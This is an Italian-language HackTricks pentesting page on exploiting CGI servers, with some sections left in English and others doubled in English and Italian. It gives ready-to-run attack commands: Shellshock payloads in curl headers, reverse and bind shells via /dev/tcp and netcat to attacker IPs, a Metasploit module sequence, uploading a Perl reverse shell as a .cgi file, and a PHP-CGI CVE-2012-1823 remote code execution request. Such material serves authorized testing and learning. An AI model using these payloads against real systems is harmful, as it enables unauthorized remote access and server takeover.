CGI

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni

Gli script CGI sono script perl, quindi, se hai compromesso un server che può eseguire script .cgi, puoi caricare una reverse shell perl (/usr/share/webshells/perl/perl-reverse-shell.pl), cambiare l'estensione da .pl a .cgi, dare permessi di esecuzione (chmod +x) e accedere alla reverse shell dal browser web per eseguirla. Per testare le vulnerabilità CGI è consigliato utilizzare nikto -C all (e tutti i plugin)

ShellShock

ShellShock è una vulnerabilità che colpisce l'ampiamente utilizzata shell della riga di comando Bash nei sistemi operativi basati su Unix. Si concentra sulla capacità di Bash di eseguire comandi passati dalle applicazioni. La vulnerabilità risiede nella manipolazione delle variabili d'ambiente, che sono valori denominati dinamici che influenzano il modo in cui i processi vengono eseguiti su un computer. Gli attaccanti possono sfruttare ciò attaccando codice maligno alle variabili d'ambiente, che viene eseguito al momento della ricezione della variabile. Ciò consente agli attaccanti di compromettere potenzialmente il sistema.

Sfruttando questa vulnerabilità, la pagina potrebbe generare un errore.

Puoi trovare questa vulnerabilità notando che viene utilizzata una vecchia versione di Apache e cgi_mod (con cartella cgi) o utilizzando nikto.

Test

La maggior parte dei test si basa sull'echo di qualcosa e si aspetta che quella stringa venga restituita nella risposta web. Se pensi che una pagina possa essere vulnerabile, cerca tutte le pagine cgi e testale.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (riflesso, cieco e out-of-band)

Curl is a command-line tool used for making HTTP requests. It can be used to test and exploit various vulnerabilities in web applications. In this section, we will explore three types of attacks using Curl: reflected, blind, and out-of-band attacks.

Reflected Attacks

Reflected attacks involve injecting malicious code into user input that is then reflected back in the server's response. This can be used to execute arbitrary commands or steal sensitive information. To perform a reflected attack, you can use Curl to send a request with the malicious payload in the query string or request body. The server will then execute the payload and include the result in the response.

Blind Attacks

Blind attacks are similar to reflected attacks, but the server does not directly include the result of the payload in the response. Instead, the attacker needs to find a way to infer the result indirectly. This can be done by analyzing the server's response time, error messages, or other side-channel information. Curl can be used to automate the process of sending requests and analyzing the responses to perform blind attacks.

Out-of-Band Attacks

Out-of-band attacks involve sending data from the target server to an external server controlled by the attacker. This can be useful when the target server is behind a firewall or other security measures that prevent direct communication. Curl can be used to send requests with payloads that trigger the target server to make outbound connections to the attacker's server. This allows the attacker to receive the data and potentially exploit it further.

In conclusion, Curl is a versatile tool that can be used for various types of attacks, including reflected, blind, and out-of-band attacks. It is important for web application pentesters to understand these techniques in order to identify and mitigate vulnerabilities in their target applications.

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Sfruttare

Exploiting a CGI vulnerability involves taking advantage of a flaw in the Common Gateway Interface (CGI) script to gain unauthorized access or perform malicious actions on a web server.

Sfruttare una vulnerabilità CGI significa approfittare di una falla nello script Common Gateway Interface (CGI) per ottenere accesso non autorizzato o compiere azioni dannose su un server web.

There are several techniques that can be used to exploit CGI vulnerabilities, including:

Ci sono diverse tecniche che possono essere utilizzate per sfruttare le vulnerabilità CGI, tra cui:

Command Injection

Iniezione di Comandi

Command injection involves injecting malicious commands into user input fields or parameters passed to a CGI script. This can allow an attacker to execute arbitrary commands on the server.

L'iniezione di comandi consiste nell'iniettare comandi dannosi nei campi di input dell'utente o nei parametri passati a uno script CGI. Ciò può consentire a un attaccante di eseguire comandi arbitrari sul server.

File Inclusion

Inclusione di File

File inclusion vulnerabilities occur when a CGI script includes external files without proper validation. An attacker can exploit this by including malicious files that can lead to remote code execution or information disclosure.

Le vulnerabilità di inclusione di file si verificano quando uno script CGI include file esterni senza una corretta convalida. Un attaccante può sfruttare ciò includendo file dannosi che possono portare all'esecuzione remota di codice o alla divulgazione di informazioni.

Path Traversal

Traversamento di Percorso

Path traversal vulnerabilities allow an attacker to access files outside of the intended directory by manipulating file paths passed to a CGI script. This can lead to unauthorized access to sensitive files or directories.

Le vulnerabilità di traversamento di percorso consentono a un attaccante di accedere a file al di fuori della directory prevista manipolando i percorsi dei file passati a uno script CGI. Ciò può portare ad accessi non autorizzati a file o directory sensibili.

Remote Code Execution

Esecuzione Remota di Codice

Remote code execution vulnerabilities occur when an attacker can execute arbitrary code on the server by exploiting a flaw in a CGI script. This can lead to complete control over the server and potentially compromise the entire system.

Le vulnerabilità di esecuzione remota di codice si verificano quando un attaccante può eseguire codice arbitrario sul server sfruttando una falla in uno script CGI. Ciò può portare al completo controllo del server e compromettere potenzialmente l'intero sistema.

Denial of Service

Negazione del Servizio

Denial of Service (DoS) attacks can be launched against CGI scripts to overwhelm the server and make it unavailable to legitimate users. This can be achieved by sending a large number of requests or exploiting vulnerabilities in the way the script handles input.

Gli attacchi di negazione del servizio (DoS) possono essere lanciati contro gli script CGI per sovraccaricare il server e renderlo non disponibile agli utenti legittimi. Ciò può essere ottenuto inviando un gran numero di richieste o sfruttando vulnerabilità nel modo in cui lo script gestisce l'input.

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM per richieste al server Web)

CGI crea una variabile di ambiente per ogni intestazione nella richiesta HTTP. Ad esempio: "host:web.com" viene creato come "HTTP_HOST"="web.com"

Poiché la variabile HTTP_PROXY potrebbe essere utilizzata dal server Web, prova a inviare un intestazione contenente: "Proxy: <IP_attacker>:<PORT>" e se il server effettua una qualsiasi richiesta durante la sessione, sarai in grado di catturare ogni richiesta effettuata dal server.

Vecchia versione di PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Fondamentalmente, se CGI è attivo e PHP è "vecchio" (<5.3.12 / <5.4.2), è possibile eseguire codice. Per sfruttare questa vulnerabilità, è necessario accedere a un file PHP del server Web senza inviare parametri (soprattutto senza inviare il carattere "="). Quindi, per testare questa vulnerabilità, potresti accedere ad esempio a /index.php?-s (nota il -s) e il codice sorgente dell'applicazione apparirà nella risposta.

Successivamente, per ottenere RCE, puoi inviare questa query speciale: /?-d allow_url_include=1 -d auto_prepend_file=php://input e il codice PHP da eseguire nel corpo della richiesta. Esempio:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Ulteriori informazioni sulla vulnerabilità e possibili exploit: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated